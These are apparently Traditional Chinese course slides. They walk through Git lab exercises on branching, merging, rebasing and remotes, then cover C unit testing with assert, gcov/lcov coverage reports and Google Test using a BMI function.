- 使用git status查看目前工作區、暫存區與版本B差異。

posh~git ~ Test [master]

```
C:\Users\jckuo\Documents\GitHub\Test [master]> git reset HEAD~2
Unstaged changes after reset:
M       Product.java
C:\Users\jckuo\Documents\GitHub\Test [master +1 ~1 -0 !]> git log
commit 239e83d88e776e122dfd9ad8ab3dab9e43c6bc7f
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Sun Jul 27 16:11:02 2014 +0800

    Second

commit cbecbe02a9fe988e250e9177a3c49cdcac07bf21
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Sun Jul 27 16:04:24 2014 +0800

    First Modified
C:\Users\jckuo\Documents\GitHub\Test [master +1 ~1 -0 !]> git status
# On branch master
# Changes not staged for commit:
#   (use "git add <file>..." to update what will be committed)
#   (use "git checkout -- <file>..." to discard changes in working di
#
#       modified:   Product.java
#
# Untracked files:
#   (use "git add <file>..." to include in what will be committed)
#
#       ShoppingCart.java
no changes added to commit (use "git add" and/or "git commit -a")
```

Lab 17. 建立分支 1

- 前置條件：在master分支，造出三個簽入儲存區版本。
  - 版本一：空的Person.java
  - 版本二：空的Product.java
  - 版本三：Product.java 內含一行 private int id;

- 可接續上一Lab.
  - 使用檔案總管刪除ShoppingCart.java
  - 使用指令：git commit –a –m 'Three'

Lab 17. 建立分支 2

- 使用指令 git log 查看目前簽入版本資訊

posh~git ~ Test [master]

```
C:\Users\jckuo\Documents\GitHub\Test [master]> git log
commit 6716a379582be178fc61c69210e3ee2715c33186
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Sun Jul 27 23:33:47 2014 +0800

    Three

commit 239e83d88e776e122dfd9ad8ab3dab9e43c6bc7f
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Sun Jul 27 16:11:02 2014 +0800

    Second

commit cbecbe02a9fe988e250e9177a3c49cdcac07bf21
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Sun Jul 27 16:04:24 2014 +0800

    First Modified
```

- 分別為First Modified, Second, Three

Lab 17. 建立分支 3

- 建立一個新分支命名為 testing，指向目前簽入版本。
  - 使用指令：git branch testing

  - 簽入版本結構如下圖

Lab 18. 切換分支

- 接續Lab 15. 切換到新造的分支testing，讓 HEAD 指向 testing。
  - 使用指令：git checkout testing

- 此時簽入版本結構圖如下

- 建立新分支testing，並切換到新分支
  - 使用指令： git checkout –b testing

Lab 19. 創造分支版本 1

- 只有 HEAD 指到的 Branch 可以簽入新版本
  - 此時增加新簽入版本，會移動 testing分支指標指向的位置，而不會移動 master分支指標。
- 接續Lab 16.
  - 使用檔案總管，新建一個空的檔案ShoppingCart.java
  - 簽入新的版本 git add . 和 git commit -a -m 'Four‘
  - 此時簽入版本結構圖如下

Lab 19. 創造分支版本 2

- 使用指令 git log 查看目前簽入版本資訊

posh~git ~ Test [testing]

```
C:\Users\jckuo\Documents\GitHub\Test [testing]> git log
commit d4b007451dd5e906cf3141c39bbef9761b8a43e6
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Mon Jul 28 00:34:21 2014 +0800

    Four

commit 6716a379582be178fc61c69210e3ee2715c33186
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Sun Jul 27 23:33:47 2014 +0800

    Three

commit 239e83d88e776e122dfd9ad8ab3dab9e43c6bc7f
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Sun Jul 27 16:11:02 2014 +0800

    Second

commit cbecbe02a9fe988e250e9177a3c49cdcac07bf21
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Sun Jul 27 16:04:24 2014 +0800

    First Modified
```

Lab 19. 創造分支版本 3

- 切換到master分支
  - 使用指令：git checkout master

- 此時簽入版本結構圖如下

Lab 19. 創造分支版本 4

- 在 master 分支執行簽入新版本，產生分岔
  - 在檔案總管，新建一個空的檔案，NotFoundException.java
  - 使用指令：git add . 和 git commit -a -m 'Five'

- 此時簽入版本結構圖如下

Lab 19. 創造分支版本 5

- 使用指令 git log 查看目前簽入版本資訊

posh~git ~ Test [master]

```
C:\Users\jckuo\Documents\GitHub\Test [master]> git log
commit 63fe833436ab391cea4142ce2376a184ad38cb3f
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Mon Jul 28 00:46:22 2014 +0800

    Five

commit 6716a379582be178fc61c69210e3ee2715c33186
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Sun Jul 27 23:33:47 2014 +0800

    Three

commit 239e83d88e776e122dfd9ad8ab3dab9e43c6bc7f
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Sun Jul 27 16:11:02 2014 +0800

    Second

commit cbecbe02a9fe988e250e9177a3c49cdcac07bf21
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Sun Jul 27 16:04:24 2014 +0800

    First Modified
```

Lab 20. 快速往前合併 1

- 目前發現一個問題，編號為Issue 19
  - iss19 版本用來修正 Issue 19，但尚未寫完。
  - hotfix 版本是為解決現在master迫切問題，已寫好要合併進master。
- 快速往前合併(Fast-forward merge)
  - 若合併目標是master分支往前推的幾個簽入版本，只要把分支往前合併。
- 完成後， 把不需要的分支hotfix 刪除。

Lab 20. 快速往前合併 2

- 製作出下面簽入版本結構
  - 重新建立一個目錄lab19，以及儲存庫。
  - 使用檔案總管新建一個空檔案，Person.java，簽入版本。
  - 使用檔案總管新建一個空檔案，Product.java，簽入版本。
  - 使用檔案總管新建一個空檔案，ShoppingCart.java，簽入版本。
  - 造出分支iss19，切換到iss19，修改Product.java，簽入iss19版本。
  - 切換到master。
  - 造出分支hotfix，切換到hotfix，修改Person.java，簽入hotfix版本。

Lab 20. 快速往前合併 3

- 重新建立一個目錄lab19，以及儲存庫。
  - mkdir lab19
  - cd lab19
  - git config --global user.email "jykuo@ntut.edu.tw"
  - git config --global user.name "jykuo"
  - git init
- 使用檔案總管新建一個空檔案，Person.java。
  - 使用 git add . 和 git commit -a -m 'First'，簽入版本。
- 使用檔案總管新建一個空檔案，Product.java，簽入版本。
  - 使用 git add . 和 git commit -a -m ‘Second'，簽入版本。
- 使用檔案總管新建一個空檔案，ShoppingCart.java，簽入版本。
  - 使用 git add . 和 git commit -a -m ‘Third'，簽入版本。

Lab 20. 快速往前合併 4

- 造出分支iss19，切換到iss19，修改Product.java，簽入iss19版本。
  - git checkout -b iss19
  - 修改Product.java，增加private int id;
  - git commit -a -m 'iss19'
- 切換到master：git checkout master
- 造出分支hotfix，切換到hotfix，修改Person.java，簽入hotfix版本。
  - git checkout -b hotfix
  - 修改Person.java，增加private String name;
  - git commit -a -m ‘hotfix'

Lab 20. 快速往前合併 5

- git checkout hotfix
- git log

posh~git ~ lab19 [hotfix]

```
C:\Users\jckuo\Documents\GitHub\lab19 [iss19]> git checkout hotfix
Switched to branch 'hotfix'
C:\Users\jckuo\Documents\GitHub\lab19 [hotfix]> git log
commit 8d129b26885ffc1ab2377d09330c99a3c001b5bf
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Mon Jul 28 07:25:17 2014 +0800

    hotfix

commit c5ae4a57eb577cd389db4790798aa1d3e609dacb
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Mon Jul 28 07:17:28 2014 +0800

    Third

commit e3983c0685764d6c46bab1e2d1d5b4777539daed
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Mon Jul 28 07:16:52 2014 +0800

    Second

commit 6652c8e4baf11adee5c5e683da47e63fc97c89fb
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Mon Jul 28 07:16:16 2014 +0800

    First
```

Lab 20. 快速往前合併 6

- git checkout iss19
- git log

posh~git ~ lab19 [iss19]

```
C:\Users\jckuo\Documents\GitHub\lab19 [hotfix]> git checkout iss19
Switched to branch 'iss19'
C:\Users\jckuo\Documents\GitHub\lab19 [iss19]> git log
commit fc89af07984bf2fbeebcda1d1f94005391572554
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Mon Jul 28 07:23:50 2014 +0800

    iss19

commit c5ae4a57eb577cd389db4790798aa1d3e609dacb
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Mon Jul 28 07:17:28 2014 +0800

    Third

commit e3983c0685764d6c46bab1e2d1d5b4777539daed
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Mon Jul 28 07:16:52 2014 +0800

    Second

commit 6652c8e4baf11adee5c5e683da47e63fc97c89fb
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Mon Jul 28 07:16:16 2014 +0800

    First
```

Lab 20. 快速往前合併 8

- git checkout master
- git log

```
C:\Users\USER\Documents\GitHub\lab21 [master]> git checkout master
Already on 'master'
C:\Users\USER\Documents\GitHub\lab21 [master]> git log
commit 8058f69d91c3c101f5ea87663340f3bfba7c76a1 (HEAD -> master)
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Sat Sep 28 16:20:18 2019 +0800

    Three

commit 9a1fcd08bc92d2a492d997d280a218474342cd70
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Sat Sep 28 16:19:53 2019 +0800

    Second

commit 3412e03efdaa5700d89bb85db7c5a9c4d1625df2
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Sat Sep 28 16:19:19 2019 +0800

    First
C:\Users\USER\Documents\GitHub\lab21 [master]>
```

Lab 20. 快速往前合併 9

- 切回 master 後，把hotfix 的變更合併
  - git checkout master
  - git merge hotfix

- 因合併對象是往前幾個簽入版本，可透過快速往前合併，把 分支往後推以解決問題。

Lab 20. 快速往前合併 10

- 完成後，把不需要的分支刪除。
  - git branch -d hotfix

- 觀看目前所有分支，以及目前所在分支。

Lab 21. 三向合併修剪 1

- 接續Lab. 19，這時iss53 寫好了，要合併回 master 分支。
- 使用三向合併(3-way Merge) – 修剪(rebase)。
  - 比較祖先和合併對象間的變動，將這些變動合併。
- 合併結果產生新簽入版本。

- 使用指令：
  - git checkout iss19
  - git rebase master

Lab 21. 三向合併修剪 2

- 切換到iss19，git checkout iss19，查看iss19合併master結果，git log

posh~git ~ lab19 [master]

```
C:\Users\jckuo\Documents\GitHub\lab19 [iss19]> git log
commit f4411ced5b23b3fc2ba6f0badcf1093dd3e6b22a
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Mon Jul 28 07:23:50 2014 +0800

    iss19

commit 8d129b26885ffc1ab2377d09330c99a3c001b5bf
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Mon Jul 28 07:25:17 2014 +0800

    hotfix

commit c5ae4a57eb577cd389db4790798aa1d3e609dacb
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Mon Jul 28 07:17:28 2014 +0800

    Third

commit e3983c0685764d6c46bab1e2d1d5b4777539daed
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Mon Jul 28 07:16:52 2014 +0800

    Second

commit 6652c8e4baf11adee5c5e683da47e63fc97c89fb
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Mon Jul 28 07:16:16 2014 +0800

    First
```

Lab 21. 三向合併修剪 3

- 切換到issue，使用檔案總管，查看iss19合併master結果

- 觀察到兩個檔案都修改了。

Lab 21. 三向合併修剪 4

- 三向合併時，若雙方更動同一檔案內容，可能發生衝突。
- Git 遇到衝突會停下來，把未衝突的地方放入暫存區，衝突的地方標示起來。
- 透過 git status 找出衝突檔案(unmerged)。
- 打開衝突檔案，手動把衝突處修正後，重新簽入新版本以解決衝突

- rebase 指令
  - pick = 要此 commit ，什麼都不改
  - reword = 要此commit ，但要改 commit message
  - edit = 要此commit，但要改 commit 的內容
  - squash = 要此 commit，且跟前面那條合併，保留這條的 messages
  - fixup = squash + 使用前面 commit 的 message ，捨棄這條 message
  - exec = 執行一條指令

Lab 22. 多commit合併修剪 1

- 在一個branch上開發一段時間，commits多又亂
  - 整理commits，將多個commits合併成1個
  - git rebase -i
- 將原本git log
  - a
  - b1
  - b2
- 合併成
  - a
  - b
- 將兩個commits，b1和b2，合併成為b。

Lab 22. 多commit合併修剪 2

- git rebase -i <commit的流水編號 SHA-1>
  - 假設 a 的 SHA-1 (用git log查) 49687a，b1是033beb， b2是d426a8
  - git rebase -i 49687a，按enter進到編輯模式，編輯以下指令
    - pick 033beb4 b1
    - squash d426a8a b2
  - 編輯完成，存檔退出，上述指令為，將b2合併到b1。
  - 跳出commit標籤說明的編輯視窗，輸入此commit的標籤說明，存檔離開。

```
C:\Users\jykuo\Documents\GitHub\test [a]> git rebase -i 49687a
[detached HEAD 14a7115] b rebase b1, b2
 2 files changed, 0 insertions(+), 0 deletions(-)
 create mode 100644 b1.java
 create mode 100644 b2.java
Successfully rebased and updated refs/heads/a.
```

遠端儲存區 1

- 將本地端的儲存庫同步到其他伺服器
  - 多人協作時，需藉此整合。
  - Git 允許多個遠端，做複雜的同步工作。
- 多人協作：單一中心式
  - 類似中心版本控制系統，所有人跟一個共同遠端儲存庫同步。
  - 跟中心式相比，遇到衝突時，可透過 Merge 和Rebase指令解決，不會有卡住情形。
  - 適合人數與規模較小的情況

遠端儲存區 2

- 多人協作：整合管理員式
  - 有一個「正統(Blessed) 」儲存庫存放最終版本。
  - 每個開發者個別整理後，傳到自己公開儲存庫。
  - 此模式為 GitHub 或 BitBucket 等系統的 Fork 與 Pull Request 機制。
  - 開發者可把正統版 Fork 下來，改好後送 Pull Request 給管理員整合。

遠端伺服器安裝

- 使用現有網路服務：GitHub、Bitbucket
- 安裝 Linux主機，使用 Gitosis 或Gitolite 架設Remote Server
- 透過NFS檔案系統，或者Dropbox作為 Remote。
- Git 提供四種 Remote 協定
  - Local：以本機路徑作為 Remote 目標，適用於架設NFS 時。
    - /paths/to/remote.git 或 file://opt/git/project.git
  - SSH：可讀寫，透過 SSH Key進行認證。
    - username@server.tld:project.git通常使用 SSH，方便安全。
  - Git：連接網路的協定，唯讀，但速度快，git://server.tld/project.git
  - HTTP(S)：可讀寫，速度較慢，適用公司內有防火牆，只有HTTP(S) Port 對外開放的環境，http://server.tld/project.git

遠端儲存庫複製

- 將程式碼從指定點下載到本地端儲存庫
  - 使用指令：git clone git@github.com:littlebtc/myproject。
  - 遠端儲存庫若有分支，前面加上 遠端伺服器儲存庫分支名字識別。
  - origin/master 指 origin 這個遠端儲存庫中的 master 分支。

相關指令 1

- git branch：顯示目前所有的 Branch，用星號標示目前所在
- git branch -v同時顯示各 Branch 所在的Commit
- git branch --merged：顯示已合併到目前Branch 其他 Branch
  - 把沒用到的 Branch 找出來刪掉
- git branch --no-merged：顯示未合併到目前Branch 的其他 Branch
- git tag v1.0：把現在的 Commit 加上名為 v1.0的 Tag
- git tag v1.0 abcde：對代碼為 abcde 的Commit 加上 v1.0 Tag
- git tag -d v1.0：刪除名為 v1.0 的 Tag
- annotated Tags，可在 Tag 上加注作者資訊和認證機制。
- git push –tags 把 Tag 給一起Push 上去
- git fetch：將 Remote 更新到最新版本。
- git pull：進行 Fetch 後，將 Remote Branch 的變動合併進本機 Branch。
- git push：將本機的 Branch 變動合併到 Remote Branch。
- 在未設定 Remote 的 Repository 中，新增 Remote 後Push
  - git remote add origin git@github.com:littlebtc/myproject.git
  - git push -u origin master

相關指令 2

- 觀看目前跟上一版本差異 git diff
- 觀看stage跟上一版本差異 git diff -cached
- 查看歷史紀錄 git log –stat, git log --pretty=format:"%h - %an, %ar:%s"
- stage狀態還原到unstage(staged -> modified) git reset HEAD <file>
- modified -> unmodified git checkout -- <file>
- 修改最後一次 vommit log git commit --amend
- 新增遠端 Server
  - Format: git remote add [short_name] [url]
  - git remote add orgin git@xxxxxx
- 上傳變更檔案到 server
  - Format: git push [short_name] [branch_name]
  - git push -u orgin master
- 直接下載檔案Format: git fetch [short_name]
  - git fetch origin
- 下載檔案並且merge
  - git pull [short_name] [branch_name], git pull origin master
  - git pull = git fetch + git merge, git fetch origin + git merge origin/master

相關指令 3

- 列出既有標籤 git tag -l
- 新增標籤 git tag -a v1.4 -m 'my version 1.4'
- 上傳標籤 git push origin v1.4, git oush origin --tags (上傳所有標籤)
- 刪除標籤 git tag -d <tagname>, git push origin:refs/tags/v1.4
- 列出全部分支 git branch -a
- 詳細列出 branch, git branch -v
- 列出已經 merge的 branch, git branch -merged
- 列出尚未merge的 branch, git branch --no-merged
- 上傳 branch, Format: git pysh origin [branch_name]
- 刪除branch, Format: git push origin :[branch_name], git push origin :hotfix

計算機程式設計
C語言 Unit Test

郭忠義

jykuo@ntut.edu.tw

臺北科技大學資訊工程系

單元測試 (Unit Test)

- 測試
  - 一個程式如何算完成，如何證明程式沒有問題。
  - 應有測試程式(test driver)與測試案例(test case)驗證，程式通過這些test case。
  - 單元測試用簡單明確方法，驗證某功能在測試案例如預期運作。
- 計算BMI公式:　BMI = 體重(公斤) / 身高^2(公尺平方)
  - 測試案例：52公斤的人，身高155公分，BMI為 : 52(公斤)/(1.55*1.55)(公尺平方)= 21.64412。兩位小數 21.64

```
double computeBMI(int kg, int height) {
    double M = height/100.0;
    double BMI = 0.0;
    if (kg<=0 || height<=0)
        return -1;
    BMI = round(kg/(M*M),2) ;  //四捨五入取兩位小數
    return BMI;
}
```

單元測試 (Unit Test)

- #include <assert.h>，assert(int expression)，錯誤會中斷程式。

```
#include <stdio.h>              // main.c
#include <math.h>
#include <assert.h>
double computeBMI(int kg, int height) {
    double BMI = 0.0, M = height/100.0;
    if (kg<=0 || height<=0)
        return -1;
    BMI = round(100*kg/(M*M))/100;  //四捨五入取兩位小數
    return BMI;
}
int main() {
    int kg = 52, height = 155;
    double expectedResult = 21.64f;
    double result = computeBMI(kg, height);
    assert(fabs(result-expectedResult)<0.0001);
    printf("Hi\n");
    return 0;
}
```

程式碼涵蓋度 (Code Coverage)

- 程式碼涵蓋度 (Code Coverage) – 指令涵蓋與分支涵蓋
  - 每條指令是否執行過? 每個分支判斷 True/False是否執行過?
- gcov (GCC Coverage)，測試程式碼覆蓋率的工具
  - 分析哪幾行程式被執行過，統計每一行程式的執行次數
- gprof 程式分析工具(profiling tool)，分析程式耗費時間
  - 藉以改善程式執行效率

程式碼涵蓋度 (Code Coverage)

- 指令行執行步驟
  - 編輯main.c
  - 在指令行執行gcc -fprofile-arcs -ftest-coverage -o main main.c
    - 在目標檔中加入gcov所需extra profiling information
    - 產生main.exe、main.gcno(gcov 所需檔案)
  - 在指令行執行main.exe
    - 產生test.gcda檔案(gcov 所需data檔案)
  - 在指令行執行gcov -b -c main.c
    - 顯示code coverage資訊
    - 產生main.c.gcda，紀錄每行程式碼執行的次數
  - 打開main.c.gcov，查看每行程式碼執行的次數

程式碼涵蓋度 (Code Coverage)

- 打開main.c.gcov，查看每行程式碼執行的次數

```
function main called 1 returned 100% blocks executed 83%
        1:   12:int main() {
        1:   13:    int kg = 52, height = 155;
        1:   14:    double expectedResult = 21.64f;
        1:   15:    double result = computeBMI(kg, height);
call    0 returned 1
        1:   16:    assert(fabs(result-expectedResult)<0.0001);
branch  0 taken 0 (fallthrough)
branch  1 taken 1
call    2 never executed
        1:   17:    printf("Hi\n");
call    0 returned 1
        1:   18:    return 0;
        -:   19:}
        -:   20:
```

Exercise

- 如何使得涵蓋度 100%

Exercise

- 測試計算BMI值的function
  - BMI值計算公式:　BMI = 體重(公斤) / 身高^2(公尺平方)
  - 例如：一個52公斤的人，身高是155公分，則BMI為：
  - 52(公斤)/(1.55*1.55)(公尺平方)= 21.64412
  - 正常範圍為 BMI=18.5～24
  - 請設計一個 function，傳入身高(公分)、體重(公斤)，回傳BMI，取兩位小數四捨五入。
  - 當BMI<18.5，輸出-1。
  - 當BMI>24，輸出-2。
  - 當身高或體重<0，輸出0。

Exercise

- 測試計算BMI值的function

```
#include <stdio.h>              // main.c
#include <math.h>
#include <assert.h>
double computeBMI(int kg, int height) {
    double BMI = 0.0, M = height/100.0;
    if (kg<=0 || height<=0)
        return 0;
    BMI = round(100*kg/(M*M))/100;  //四捨五入取兩位小數
    if (BMI <18.5)
        return -1;
    if (BMI >24)
        return -2;
    return BMI;
}
```

```
int main() {
    int kg = 52, height = 155;
    double expectedResult = 21.64f;
    double result = computeBMI(kg, height);
    assert(fabs(result-expectedResult)<0.0001);
    printf("Hi\n");
    return 0;
}
```

Google Test

- 在 輸入以下指令(需要十幾分鐘)
  - sudo apt-get update
  - sudo apt-get install g++
  - sudo apt-get install make
  - sudo apt-get install libgtest-dev
  - sudo apt-get install cmake
  - cd /usr/src/gtest
  - sudo cmake CMakeLists.txt
  - sudo make
  - sudo cp *.a /usr/lib

Google Test

- 編輯 ut.cpp

```
#include <cstdlib>
#include <gtest/gtest.h>
int mul( int a , int b ) {
    return a * b ;
}
TEST( multest , HandleNoneZeroInput ) {
    ASSERT_EQ( 21 , mul( 3 , 7 ) ) ;
    ASSERT_EQ( -24 , mul( -6 , 4 ) ) ;
}
int main( int argc , char **argv ){
    testing :: InitGoogleTest( &argc , argv ) ;
    return RUN_ALL_TESTS( ) ;
}
```

Google Test

- 輸入指令，編譯、執行、看code coverage報表
  - g++ -pg -fprofile-arcs -ftest-coverage ut.cpp -o ut -lgtest -lpthread
  - ./ut

```
jykuo@DESKTOP-CE8JI9C: /mnt/c/Users/jykuo/Desktop/googleTest
jykuo@DESKTOP-CE8JI9C:/mnt/c/Users/jykuo/Desktop/googleTest$ g++ -pg -fprofile-arcs -ftest-coverage ut.cpp -o ut -lgtest
 -lpthread
jykuo@DESKTOP-CE8JI9C:/mnt/c/Users/jykuo/Desktop/googleTest$ ./ut
[==========] Running 1 test from 1 test case.
[----------] Global test environment set-up.
[----------] 1 test from multest
[ RUN      ] multest.HandleNoneZeroInput
[       OK ] multest.HandleNoneZeroInput (0 ms)
[----------] 1 test from multest (1 ms total)

[----------] Global test environment tear-down
[==========] 1 test from 1 test case ran. (2 ms total)
[  PASSED  ] 1 test.
jykuo@DESKTOP-CE8JI9C:/mnt/c/Users/jykuo/Desktop/googleTest$
```

  - gcov -c -b ut.cpp

```
jykuo@DESKTOP-CE8JI9C: /mnt/c/Users/jykuo/Desktop/googleTest
jykuo@DESKTOP-CE8JI9C:/mnt/c/Users/jykuo/Desktop/googleTest$ gcov -c -b ut.cpp
File 'ut.cpp'
Lines executed:100.00% of 9
Branches executed:57.89% of 38
Taken at least once:28.95% of 38
Calls executed:53.19% of 47
Creating 'ut.cpp.gcov'
```

Google Test - 安裝html報表

- 安裝 lcov，sudo apt-get install -y lcov

```
jykuo@DESKTOP-CE8JI9C:/mnt/c/Users/jykuo/Desktop/googleTest$ sudo apt-get install -y lcov
[sudo] password for jykuo:
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following additional packages will be installed:
```

- 產生html報表，
  - lcov -c -o ut.info -d . --rc lcov_branch_coverage=1

```
jykuo@DESKTOP-CE8JI9C:/mnt/c/Users/jykuo/Desktop/googleTest$ lcov -c -o ut.info -d . --rc lcov_branch_coverage=1
Capturing coverage data from .
Found gcov version: 7.4.0
Scanning . for .gcda files ...
Found 1 data files in .
Processing ut.gcda
Finished .info-file creation
```

  - genhtml ut.info -o report --branch-coverage

```
jykuo@DESKTOP-CE8JI9C:/mnt/c/Users/jykuo/Desktop/googleTest$ genhtml ut.info -o report --branch-coverage
Reading data file ut.info
Found 8 entries.
Found common filename prefix "/usr/include"
Writing .css and .png files.
Generating output.
Processing file /mnt/c/Users/jykuo/Desktop/googleTest/ut.cpp
Processing file c++/7/iostream
```

Google Test - 安裝html報表

- 在googleTest\report目錄點選index.html
- 產生html報表

Current view: top level - mnt/c/Users/jykuo/Desktop/googleTest - ut.cpp (source / functions)
Test: ut.info
Date: 2020-03-31 15:32:43

	Hit	Total	Coverage
Lines:	20	20	100.0 %
Functions:	8	8	100.0 %
Branches:	28	88	31.8 %

```
          Branch data     Line data    Source code
       1                :            : #include <cstdlib>
       2                :            : #include <gtest/gtest.h>
       3                :            : #include <math.h>
       4                :          5 : double computeBMI(int kg, int height) {
       5                :          5 :     double BMI = 0.0, M = height/100.0;
       6 [ +  + ][ +  + ]:          5 :     if (kg<=0 || height<=0)
       7                :          2 :         return 0;
       8                :          3 :     BMI = round(100*kg/(M*M))/100;  //►│►ˢ►►J►►►►►p►►
       9        [ +  + ]:          3 :     if (BMI <18.5)
      10                :          1 :         return -1;
      11        [ +  + ]:          2 :     if (BMI >24)
      12                :          1 :         return -2;
      13                :          1 :     return BMI;
      14                :            : }
      15 [ +  - ][ +  - ]:          8 : TEST( multest , HandleNoneZeroInput ) {
```

Google Test - 分開測試檔案

- 編輯三個檔案

```
// bmi.h
double computeBMI(int kg, int height);
```

```
//bmi.cpp
#include <math.h>
double computeBMI(int kg, int height) {
    double BMI = 0.0, M = height/100.0;
    if (kg<=0 || height<=0)
        return 0;
    BMI = round(100*kg/(M*M))/100;  //四捨五入取兩位小數
    if (BMI <18.5)
        return -1;
    if (BMI >24)
        return -2;
    return BMI;
}
```

Google Test - 分開測試檔案

- 編輯三個檔案

```
//ut.cpp
//#include <cstdlib>
#include <gtest/gtest.h>
#include "bmi.h"
TEST( multest , HandleNoneZeroInput ) {
    ASSERT_EQ( 0 , computeBMI( 0 ,0 ) ) ;
    ASSERT_EQ( 0 , computeBMI( 100 , 0) ) ;
    ASSERT_EQ( -2 , computeBMI( 52 , 100) ) ;
    ASSERT_EQ( -1 , computeBMI( 42 , 155) ) ;
    ASSERT_EQ( 21.64 , computeBMI( 52 , 155) ) ;
}
int main( int argc , char **argv ){
    testing :: InitGoogleTest( &argc , argv ) ;
    return RUN_ALL_TESTS( ) ;
}
```

Google Test - 分開測試檔案

- g++ -pg -fprofile-arcs -ftest-coverage bmi.cpp ut.cpp -o ut -lgtest -lpthread
- ./ut

```
jykuo@DESKTOP-CE8JI9C:/mnt/c/Users/jykuo/Desktop/googleTest$ g++ -pg -fprofile-arcs
-ftest-coverage bmi.cpp ut.cpp -o ut -lgtest -lpthread
jykuo@DESKTOP-CE8JI9C:/mnt/c/Users/jykuo/Desktop/googleTest$ ./ut
[==========] Running 1 test from 1 test case.
[----------] Global test environment set-up.
[----------] 1 test from multest
[ RUN      ] multest.HandleNoneZeroInput
[       OK ] multest.HandleNoneZeroInput (0 ms)
[----------] 1 test from multest (5 ms total)

[----------] Global test environment tear-down
[==========] 1 test from 1 test case ran. (9 ms total)
[  PASSED  ] 1 test.
```

- gcov -c -b ut.cpp
- gcov -c -b bmi.cpp

```
jykuo@DESKTOP-CE8JI9C:/mnt/c/Users/jykuo/Desktop/googleTest$ gcov -c -b bmi.cpp
File 'bmi.cpp'
Lines executed:100.00% of 10
Branches executed:100.00% of 8
Taken at least once:100.00% of 8
No calls
Creating 'bmi.cpp.gcov'
```

Google Test - 分開測試檔案

- 在googleTest目錄，檢視bmi.cpp.gcov
- 產生html報表
  - lcov -c -o ut.info -d . --rc lcov_branch_coverage=1
  - genhtml ut.info -o report --branch-coverage
  - 在googleTest\report目錄點選index.html

Google Test - 分開測試檔案

- 產生html報表

LCOV - code coverage report

Current view: top level
Test: ut.info
Date: 2020-03-31 16:15:28

	Hit	Total	Coverage
Lines:	50	86	58.1 %
Functions:	32	62	51.6 %
Branches:	40	142	28.2 %

Directory	Line Coverage			Functions		Branches	
/mnt/c/Users/jykuo/Desktop/googleTest		100.0 %	20 / 20	100.0 %	8 / 8	33.7 %	33 / 98
c++/7		100.0 %	1 / 1	-	0 / 0	-	0 / 0
c++/7/bits		100.0 %	2 / 2	100.0 %	1 / 1	-	0 / 0
gtest		29.8 %	14 / 47	30.6 %	11 / 36	6.7 %	2 / 30
gtest/internal		81.2 %	13 / 16	70.6 %	12 / 17	35.7 %	5 / 14

LCOV - code coverage report

Current view: top level - mnt/c/Users/jykuo/Desktop/googleTest - bmi.cpp (source / functions)
Test: ut.info
Date: 2020-03-31 16:15:28

	Hit	Total	Coverage
Lines:	10	10	100.0 %
Functions:	1	1	100.0 %
Branches:	8	8	100.0 %

```
          Branch data     Line data    Source code
       1                :            : #include <math.h>
       2                :         10 : double computeBMI(int kg, int height) {
       3                :         10 :     double BMI = 0.0, M = height/100.0;
       4 [ +  +  ][ +  + ]:         10 :     if (kg<=0 || height<=0)
       5                :          4 :         return 0;
       6                :          6 :     BMI = round(100*kg/(M*M))/100;  //\u2502\u2502\u2502\u2502\u2502\u2502\u2502\u2502\u2502\u2502\u2502\u2502\u2502\u2502\u2502\u2502
       7          [ +  + ]:          6 :     if (BMI <18.5)
       8                :          2 :         return -1;
       9          [ +  + ]:          4 :     if (BMI >24)
      10                :          2 :         return -2;
      11                :          2 :     return BMI;
      12                :            : }
```

設計測試案例(Test case)方法

- 白箱測試(white box testing)
  - 檢視程式碼，設計測試案例，執行所有程式碼可能路徑
  - 評估測試案例的涵蓋度準則(coverage criteria)
    - Line coverage (statement coverage)，測試案例能執行所有程式碼行
    - branch coverage，測試案例能執行所有條件判斷狀況，一個條件判斷有二種狀況(True, False)，兩個條件組合有四種狀況(True/True, True/False, False/True, False False)
- 黑箱測試(black box testing)
  - 檢視題目需求，設計測試案例，執行題目需求可能狀況、功能
  - 設計測試案例方法
    - 分類功能、規則、輸入條件，例如BMI太高或太低情況
    - 邊界值分析，考慮邊界情況，例如BMI太高或太低剛好邊界情況
    - 負向，不合規範的情況，例如負數體重、身高

黑箱測試方法 Homework

- 題目需求
  - 辨識輸入符號，Identifier是C語言的變數
  - Input: rate R2D2 -2 time 55566 0.23 -1.2 #
  - Output:
    - rate - Identifier
    - R2D2 - Identifier
    - -22 - Negative Integer
    - 555666 – Positive Integer
    - 0.23 - Positive Floating
    - -1.2 - Negative Floating
  - Exercise: 考慮負向情況的測試案例

黑箱測試方法 Homework

- 使用有限狀態機解題
  - 簡化題目
    - 只處理identifier, Number

Digit(1)	**1, .., 9**
Pound	**#**
Blank	**empty**
Letter	**A,.., Z, a, .., z**
Digit(2)	**0, 1, .., 9**
Underscore	**_**

黑箱測試方法 Homework

- typedef 自訂資料型別 data type
  - 自訂資料型別，命名以_t結束，可以一此宣告變數

```
typedef int myInt_t;
myInt x1=0, x2=3;
x1 = x2 + 4;
```

